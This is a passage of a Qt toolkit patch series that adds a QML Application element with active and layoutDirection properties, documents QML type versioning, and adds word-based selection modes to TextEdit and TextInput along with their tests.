"private/qdeclarativeapplication_p.h" #include "qdeclarativeview.h" #include "qdeclarativeinfo.h" #include "private/qdeclarativetypenotavailable_p.h" @@ -75,6 +76,8 @@ void QDeclarativeUtilModule::defineModule() { + qmlRegisterUncreatableType("QtQuick",1,1,"Application", "Application is an abstract class"); + qmlRegisterType("QtQuick",1,0,"AnchorAnimation"); qmlRegisterType("QtQuick",1,0,"AnchorChanges"); qmlRegisterType("QtQuick",1,0,"Behavior"); diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index fd57144..62fa8f1 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -1,6 +1,7 @@ INCLUDEPATH += $$PWD SOURCES += \ + $$PWD/qdeclarativeapplication.cpp \ $$PWD/qdeclarativeutilmodule.cpp\ $$PWD/qdeclarativeview.cpp \ $$PWD/qdeclarativeconnections.cpp \ @@ -30,6 +31,7 @@ SOURCES += \ $$PWD/qlistmodelinterface.cpp HEADERS += \ + $$PWD/qdeclarativeapplication_p.h \ $$PWD/qdeclarativeutilmodule_p.h\ $$PWD/qdeclarativeview.h \ $$PWD/qdeclarativeconnections_p.h \ diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index 51597bd..1f0d32a 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -11,6 +11,7 @@ SUBDIRS += \ qdeclarativeanchors \ qdeclarativeanimatedimage \ qdeclarativeanimations \ + qdeclarativeapplication \ qdeclarativebehaviors \ qdeclarativebinding \ qdeclarativeborderimage \ diff --git a/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro new file mode 100644 index 0000000..91e5468 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro @@ -0,0 +1,5 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative gui +macx:CONFIG -= app_bundle + +SOURCES += tst_qdeclarativeapplication.cpp diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp new file mode 100644 index 0000000..0d069dc --- /dev/null +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include "../../../shared/util.h" +#include +#include +#include +#include +#include + +class tst_qdeclarativeapplication : public QObject +{ + Q_OBJECT +public: + tst_qdeclarativeapplication(); + +private slots: + void active(); + +private: + QDeclarativeEngine engine; +}; + +tst_qdeclarativeapplication::tst_qdeclarativeapplication() +{ +} + +void tst_qdeclarativeapplication::active() +{ + QDeclarativeComponent component(&engine); + component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile("")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + QGraphicsScene scene; + QGraphicsView view(&scene); + scene.addItem(item); + + // not active + QVERIFY(!item->property("active").toBool()); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); + + // active + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); + + // not active again + QApplication::setActiveWindow(0); + QVERIFY(!item->property("active").toBool()); + QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); +} + +QTEST_MAIN(tst_qdeclarativeapplication) + +#include "tst_qdeclarativeapplication.moc" -- cgit v0.12 From 0371e80ba76b7dcaf1809ba9345fd96610390222 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 4 Jan 2011 17:25:48 +1000 Subject: Add layoutDirection property to Qt.application element Task-number: QTBUG-16424 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeapplication.cpp | 32 ++++++++++++++++++++-- src/declarative/util/qdeclarativeapplication_p.h | 3 ++ .../tst_qdeclarativeapplication.cpp | 23 ++++++++++++++++ 3 files changed, 56 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 53d196f..f724c16 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -47,8 +47,10 @@ class QDeclarativeApplicationPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeApplication) public: - QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0) {} + QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0), + layoutDirection(QApplication::layoutDirection()) {} bool active; + Qt::LayoutDirection layoutDirection; }; /*! @@ -58,7 +60,8 @@ public: \brief The Application element provides access to global application state properties shared by many QML components. - These properties include application activity property \c active. + These properties include application activity property \c active, + and default layout direction property \c layoutDirection. \section1 Example Usage @@ -97,6 +100,24 @@ bool QDeclarativeApplication::active() const return d->active; } +/*! + \qmlproperty bool Application::layoutDirection + + This property can be used to query the default layout direction of the + application. On system start-up, the default layout direction depends on the + application's language. The property has a value Qt.RightToLeft in locales + where text and graphic elements are read from right to left, and Qt.LeftToRight + where the reading direction flows from left to right. You can bind to the + property to customize your application layouts to support both layout + directions. This property is readonly. + +*/ +bool QDeclarativeApplication::layoutDirection() const +{ + Q_D(const QDeclarativeApplication); + return d->layoutDirection; +} + bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) { Q_UNUSED(obj) @@ -114,5 +135,12 @@ bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) emit activeChanged(); } } + if (event->type() == QEvent::LayoutDirectionChange) { + Qt::LayoutDirection direction = QApplication::layoutDirection(); + if (d->layoutDirection != direction) { + d->layoutDirection = direction; + emit layoutDirectionChanged(); + } + } return false; } diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h index 59ea7fe..c5cd227 100644 --- a/src/declarative/util/qdeclarativeapplication_p.h +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -57,17 +57,20 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject { Q_OBJECT Q_PROPERTY(bool active READ active NOTIFY activeChanged) + Q_PROPERTY(bool layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) public: explicit QDeclarativeApplication(QObject *parent = 0); virtual ~QDeclarativeApplication(); bool active() const; + bool layoutDirection() const; protected: bool eventFilter(QObject *obj, QEvent *event); Q_SIGNALS: void activeChanged(); + void layoutDirectionChanged(); private: Q_DISABLE_COPY(QDeclarativeApplication) diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp index 0d069dc..3011257 100644 --- a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp @@ -55,6 +55,7 @@ public: private slots: void active(); + void layoutDirection(); private: QDeclarativeEngine engine; @@ -91,6 +92,28 @@ void tst_qdeclarativeapplication::active() QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0); } +void tst_qdeclarativeapplication::layoutDirection() +{ + QDeclarativeComponent component(&engine); + component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile("")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + QGraphicsScene scene; + QGraphicsView view(&scene); + scene.addItem(item); + + // not mirrored + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); + + // mirrored + QApplication::setLayoutDirection(Qt::RightToLeft); + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft); + + // not mirrored again + QApplication::setLayoutDirection(Qt::LeftToRight); + QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight); +} + QTEST_MAIN(tst_qdeclarativeapplication) #include "tst_qdeclarativeapplication.moc" -- cgit v0.12 From eea1c1a0d12920e3c0a0ffe5339e33055ffe0fdd Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 7 Jan 2011 18:37:47 +1000 Subject: Add missing Qt namespaces macros to qdeclarativeapplication.cpp source file Task-number: Reviewed-by: Aaron Kennedy --- src/declarative/util/qdeclarativeapplication.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index f724c16..7559aa9 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -43,6 +43,8 @@ #include #include +QT_BEGIN_NAMESPACE + class QDeclarativeApplicationPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeApplication) @@ -144,3 +146,5 @@ bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) } return false; } + +QT_END_NAMESPACE -- cgit v0.12 From 59b9bce59aacc2cf68a3800f4fcb486d136b91f9 Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Fri, 7 Jan 2011 09:54:35 +0100 Subject: Adding a link to the coding style wiki page. --- doc/src/qt-webpages.qdoc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc index 0a03157..5799d69 100644 --- a/doc/src/qt-webpages.qdoc +++ b/doc/src/qt-webpages.qdoc @@ -244,3 +244,8 @@ \externalpage http://labs.qt.nokia.com \title Qt Labs */ + +/*! + \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle + \title Qt Coding Style +*/ -- cgit v0.12 From 6db61ce39aa2fefaa9e22ca84edd8d140a5c6449 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 10 Jan 2011 13:00:54 +1000 Subject: Document property/method versioning in QML. Task-number: QTBUG-13451 Reviewed-by: Bea Lam --- doc/src/declarative/extending.qdoc | 69 ++++++++++++++++++++++++++++++++++ doc/src/declarative/qtdeclarative.qdoc | 15 ++++++++ 2 files changed, 84 insertions(+) diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index ff519f6..429997f 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -112,6 +112,75 @@ Person { \l {Extending QML - Adding Types Example} shows the complete code used to create the \c Person type. +\section1 QML Type Versioning + +In C++ adding a new method or property cannot break old applications. +In QML, however, new methods and properties can change what a name previously +resolved to to within a scope chain. + +For example, consider these two QML files + +\code +// main.qml +import QtQuick 1.0 +Item { + id: root + MyComponent {} +} +\endcode + +\code +// MyComponent.qml +import MyModule 1.0 +CppItem { + value: root.x +} +\endcode + +where CppItem maps to the C++ class QCppItem. + +If the author of QCppItem adds a "root" property to QCppItem in a new version of the module, +it will break the above program as \c root.x now resolves to a different value. +The solution is to allow the author of QCppItem to state that the new \c root property is +only available from a particular version of QCppItem onwards. This permits new properties +and features to be added to existing elements without breaking existing programs. + +QML enables this by allowing the properties, methods and signals of a class to be tagged with +a particular \e revision, so that they are only accessible if the relevant module version +is imported. In this case, the author can tag the \c root property as being added in +\e {revision 1} of the class, and register that revision in version 1.1 of the module. + +The REVISION tag is used to mark the \c root property as added in revision 1 of the class. +Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a +revision using the \c Q_REVISION(x) macro: + +\code +class CppItem : public QObject +{ + Q_OBJECT + Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1) + +signals: + Q_REVISION(1) void rootChanged(); +}; +\endcode + +To register the new class revision to a particular version the following function is used: + +\code +template +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +\endcode + +To register \c CppItem version 1 for \c {MyModule 1.1}: + +\code +qmlRegisterType("MyModule", 1, 1, "CppItem") +\endcode + +\c root is only available when MyModule 1.1 is imported. + + \section1 Object and List Property Types \snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index b0c6e06..5ab4319 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -85,6 +85,21 @@ Returns the QML type id. + There are two forms of this template function: + + \code + template + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + + template + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + \endcode + + The former is the standard form which registers the type \e T as a new type. + The latter allows a particular revision of a class to be registered in + a specified version (see \l {QML Type Versioning}). + + For example, this registers a C++ class \c MySliderItem as a QML type named \c Slider for version 1.0 of a \l{QML Modules}{module} called "com.mycompany.qmlcomponents": -- cgit v0.12 From cbf6bfbff8c0643bc82bb2456214994931052bd6 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Fri, 7 Jan 2011 17:42:12 +1000 Subject: Add selection modes to TextEdit and TextInput. Add an overload for moveCursorSelection which takes a parameter specifying whether to update the selection with individual characters or whole words. Task-number: QTBUG-16283 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 89 +++++++++-- .../graphicsitems/qdeclarativetextedit_p.h | 7 + .../graphicsitems/qdeclarativetextinput.cpp | 101 ++++++++++++- .../graphicsitems/qdeclarativetextinput_p.h | 7 + .../tst_qdeclarativetextedit.cpp | 164 ++++++++++++++++++++- .../tst_qdeclarativetextinput.cpp | 163 +++++++++++++++++++- 6 files changed, 512 insertions(+), 19 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 6a51a3c..7ea3dec 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -579,37 +579,108 @@ int QDeclarativeTextEdit::positionAt(int x, int y) const return r; } +void QDeclarativeTextEdit::moveCursorSelection(int pos) +{ + //Note that this is the same as setCursorPosition but with the KeepAnchor flag set + Q_D(QDeclarativeTextEdit); + QTextCursor cursor = d->control->textCursor(); + if (cursor.position() == pos) + return; + cursor.setPosition(pos, QTextCursor::KeepAnchor); + d->control->setTextCursor(cursor); +} + /*! - \qmlmethod int TextEdit::moveCursorSelection(int pos) + \qmlmethod void TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters) + \since Quick 1.1 - Moves the cursor to \a position and updates the selection accordingly. - (To only move the cursor, set the \l cursorPosition property.) + Moves the cursor to \a position and updates the selection according to the optional \a mode + parameter. (To only move the cursor, set the \l cursorPosition property.) When this method is called it additionally sets either the selectionStart or the selectionEnd (whichever was at the previous cursor position) to the specified position. This allows you to easily extend and contract the selected text range. + The selection mode specifies whether the selection is updated on a per character or a per word + basis. If not specified the selection mode will default to TextEdit.SelectCharacters. + + \list + \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at + the previous cursor position) to the specified position. + \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all + words between the specified postion and the previous cursor position. Words partially in the + range are included. + \endlist + For example, take this sequence of calls: \code cursorPosition = 5 - moveCursorSelection(9) - moveCursorSelection(7) + moveCursorSelection(9, TextEdit.SelectCharacters) + moveCursorSelection(7, TextEdit.SelectCharacters) \endcode This moves the cursor to position 5, extend the selection end from 5 to 9 and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 selected (the 6th and 7th characters). + + The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary + before or on position 5 and extend the selection end to a word boundary past position 9, and + then if there is a word boundary between position 7 and 8 retract the selection end to that + boundary. If there is whitespace at position 7 the selection will be retracted further. */ -void QDeclarativeTextEdit::moveCursorSelection(int pos) +void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode) { - //Note that this is the same as setCursorPosition but with the KeepAnchor flag set Q_D(QDeclarativeTextEdit); QTextCursor cursor = d->control->textCursor(); if (cursor.position() == pos) return; - cursor.setPosition(pos, QTextCursor::KeepAnchor); + if (mode == SelectCharacters) { + cursor.setPosition(pos, QTextCursor::KeepAnchor); + } else if (cursor.anchor() < pos) { + cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == cursor.anchor()) { + cursor.movePosition(QTextCursor::NextWord, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor); + } + cursor.setPosition(pos, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == pos) { + cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + + if (cursor.anchor() > cursor.position()) + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + } + } else if (cursor.anchor() > pos) { + cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == cursor.anchor()) { + cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); + } + cursor.setPosition(pos, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); + if (cursor.position() == pos) { + cursor.movePosition(QTextCursor::NextWord, QTextCursor::KeepAnchor); + + if (cursor.anchor() < cursor.position()) + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } else { + cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor); + cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); + } + } else { + cursor.setPosition(pos, QTextCursor::MoveAnchor); + } d->control->setTextCursor(cursor); } @@ -655,7 +726,7 @@ void QDeclarativeTextEdit::setCursorPosition(int pos) if (pos < 0 || pos > d->text.length()) return; QTextCursor cursor = d->control->textCursor(); - if (cursor.position() == pos) + if (cursor.position() == pos && cursor.anchor() == pos) return; cursor.setPosition(pos); d->control->setTextCursor(cursor); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 37b24f7..6a05aa8 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -65,6 +65,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_ENUMS(HAlignment) Q_ENUMS(TextFormat) Q_ENUMS(WrapMode) + Q_ENUMS(SelectionMode) Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) @@ -120,6 +121,11 @@ public: Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere }; + enum SelectionMode { + SelectCharacters, + SelectWords + }; + Q_INVOKABLE void openSoftwareInputPanel(); Q_INVOKABLE void closeSoftwareInputPanel(); @@ -195,6 +201,7 @@ public: Q_INVOKABLE QRectF positionToRectangle(int) const; Q_INVOKABLE int positionAt(int x, int y) const; Q_INVOKABLE void moveCursorSelection(int pos); + Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); QRectF boundingRect() const; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index ac07d4b..491d219c4 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -50,6 +50,7 @@ #include #include #include +#include #ifndef QT_NO_LINEEDIT @@ -1320,35 +1321,119 @@ void QDeclarativeTextInput::setSelectByMouse(bool on) } } +void QDeclarativeTextInput::moveCursorSelection(int position) +{ + Q_D(QDeclarativeTextInput); + d->control->moveCursor(position, true); + d->updateHorizontalScroll(); +} /*! - \qmlmethod void TextInput::moveCursorSelection(int position) + \qmlmethod void TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters) + \since Quick 1.1 - Moves the cursor to \a position and updates the selection accordingly. - (To only move the cursor, set the \l cursorPosition property.) + Moves the cursor to \a position and updates the selection according to the optional \a mode + parameter. (To only move the cursor, set the \l cursorPosition property.) When this method is called it additionally sets either the selectionStart or the selectionEnd (whichever was at the previous cursor position) to the specified position. This allows you to easily extend and contract the selected text range. + The selection mode specifies whether the selection is updated on a per character or a per word + basis. If not specified the selection mode will default to TextInput.SelectCharacters. + + \list + \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at + the previous cursor position) to the specified position. + \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all + words between the specified postion and the previous cursor position. Words partially in the + range are included. + \endlist + For example, take this sequence of calls: \code cursorPosition = 5 - moveCursorSelection(9) - moveCursorSelection(7) + moveCursorSelection(9, TextInput.SelectCharacters) + moveCursorSelection(7, TextInput.SelectCharacters) \endcode This moves the cursor to position 5, extend the selection end from 5 to 9 and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 selected (the 6th and 7th characters). + + The same sequence with TextInput.SelectWords will extend the selection start to a word boundary + before or on position 5 and extend the selection end to a word boundary past position 9, and + then if there is a word boundary between position 7 and 8 retract the selection end to that + boundary. If there is whitespace at position 7 the selection will be retracted further. */ -void QDeclarativeTextInput::moveCursorSelection(int position) +void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode) { Q_D(QDeclarativeTextInput); - d->control->moveCursor(position, true); - d->updateHorizontalScroll(); + + if (mode == SelectCharacters) { + d->control->moveCursor(pos, true); + } else if (pos != d->control->cursor()){ + int anchor; + if (!d->control->hasSelectedText()) + anchor = d->control->cursor(); + else if (d->control->selectionStart() == d->control->cursor()) + anchor = d->control->selectionEnd(); + else + anchor = d->control->selectionStart(); + + if (anchor < pos) { + QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text()); + finder.setPosition(anchor); + + if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) { + finder.toNextBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord) + finder.toPreviousBoundary(); + } + anchor = finder.position(); + + finder.setPosition(pos); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) { + finder.toPreviousBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord) + finder.toNextBoundary(); + } + int cursor = finder.position(); + + if (anchor < cursor) + d->control->setSelection(anchor, cursor - anchor); + else + d->control->moveCursor(pos, false); + + } else if (anchor > pos) { + QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text()); + + finder.setPosition(anchor); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) { + finder.toPreviousBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord) + finder.toNextBoundary(); + } + anchor = finder.position(); + + finder.setPosition(pos); + if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) { + finder.toNextBoundary(); + if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord) + finder.toPreviousBoundary(); + } + int cursor = finder.position(); + + if (anchor > cursor) + d->control->setSelection(anchor, cursor - anchor); + else + d->control->moveCursor(pos, false); + } else { + d->control->moveCursor(pos, false); + } + } } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 878f040..25b8e66 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -63,6 +63,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_OBJECT Q_ENUMS(HAlignment) Q_ENUMS(EchoMode) + Q_ENUMS(SelectionMode) Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) @@ -112,10 +113,16 @@ public: AlignHCenter = Qt::AlignHCenter }; + enum SelectionMode { + SelectCharacters, + SelectWords + }; + //Auxilliary functions needed to control the TextInput from QML Q_INVOKABLE int positionAt(int x) const; Q_INVOKABLE QRectF positionToRectangle(int pos) const; Q_INVOKABLE void moveCursorSelection(int pos); + Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); Q_INVOKABLE void openSoftwareInputPanel(); Q_INVOKABLE void closeSoftwareInputPanel(); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 23c8a1b..7af008f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -66,6 +66,8 @@ #define SRCDIR "." #endif +Q_DECLARE_METATYPE(QDeclarativeTextEdit::SelectionMode) + QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual) { // XXX This will be replaced by some clever persistent platform image store. @@ -107,6 +109,8 @@ private slots: void persistentSelection(); void focusOnPress(); void selection(); + void moveCursorSelection_data(); + void moveCursorSelection(); void mouseSelection_data(); void mouseSelection(); void inputMethodHints(); @@ -144,7 +148,9 @@ private: tst_qdeclarativetextedit::tst_qdeclarativetextedit() { standard << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox\n jumped over the lazy dog"; + << "the quick brown fox\n jumped over the lazy dog" + << "Hello, world!" + << "!dlrow ,olleH"; richText << "the quick brown fox jumped over the lazy dog" << "the quick brown fox
    jumped over the lazy dog
    "; @@ -711,6 +717,162 @@ void tst_qdeclarativetextedit::selection() QVERIFY(textEditObject->selectedText().isNull()); } +void tst_qdeclarativetextedit::moveCursorSelection_data() +{ + QTest::addColumn("testStr"); + QTest::addColumn("cursorPosition"); + QTest::addColumn("movePosition"); + QTest::addColumn("mode"); + QTest::addColumn("selectionStart"); + QTest::addColumn("selectionEnd"); + QTest::addColumn("reversible"); + + QTest::newRow("(t)he|characters") + << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectCharacters << 0 << 1 << true; + QTest::newRow("do(g)|characters") + << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectCharacters << 43 << 44 << true; + QTest::newRow("jum(p)ed|characters") + << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectCharacters << 23 << 24 << true; + QTest::newRow("jumped( )over|characters") + << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectCharacters << 26 << 27 << true; + QTest::newRow("(the )|characters") + << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectCharacters << 0 << 4 << true; + QTest::newRow("( dog)|characters") + << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectCharacters << 40 << 44 << true; + QTest::newRow("( jumped )|characters") + << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectCharacters << 19 << 27 << true; + QTest::newRow("th(e qu)ick|characters") + << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectCharacters << 2 << 6 << true; + QTest::newRow("la(zy d)og|characters") + << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectCharacters << 38 << 42 << true; + QTest::newRow("jum(ped ov)er|characters") + << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectCharacters << 23 << 29 << true; + QTest::newRow("()the|characters") + << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectCharacters << 0 << 0 << true; + QTest::newRow("dog()|characters") + << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectCharacters << 44 << 44 << true; + QTest::newRow("jum()ped|characters") + << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true; + + QTest::newRow("(t)he|words") + << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true; + QTest::newRow("do(g)|words") + << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true; + QTest::newRow("jum(p)ed|words") + << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true; + QTest::newRow("jumped( )over|words") + << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 27 << 27 << false; + 